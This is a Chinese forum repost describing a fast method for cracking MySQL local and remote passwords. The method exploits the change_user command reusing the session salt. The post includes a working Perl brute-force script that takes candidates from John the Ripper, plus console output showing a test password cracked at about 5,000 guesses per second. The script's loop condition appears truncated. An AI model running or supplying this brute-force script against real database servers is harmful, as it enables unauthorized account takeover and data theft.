破解MySQL本地和远程密码
欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入 快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。 我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户
欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入
快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。
我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。
方法如下:
攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
是什么导致非常慢?
因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。
下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:
测试的用户是 crackme 密码为 pass,只需数秒就可破解。
(大约 20 秒钟可测试 10 万密码)
测试脚本如下:
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0,
);
$crackuser = "crackme";
while(
chomp;
$currentpass = $_;
$vv = join "\0",
$crackuser,
"\x14".
Net::MySQL::Password->scramble(
$currentpass, $mysql->{salt}, $mysql->{client_capabilities}
) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
print "[*] Cracked! --> $currentpass\n";
exit;
}
}
下面是我这台机器上的执行结果:
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked! --> pass
words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
Session aborted
via grok

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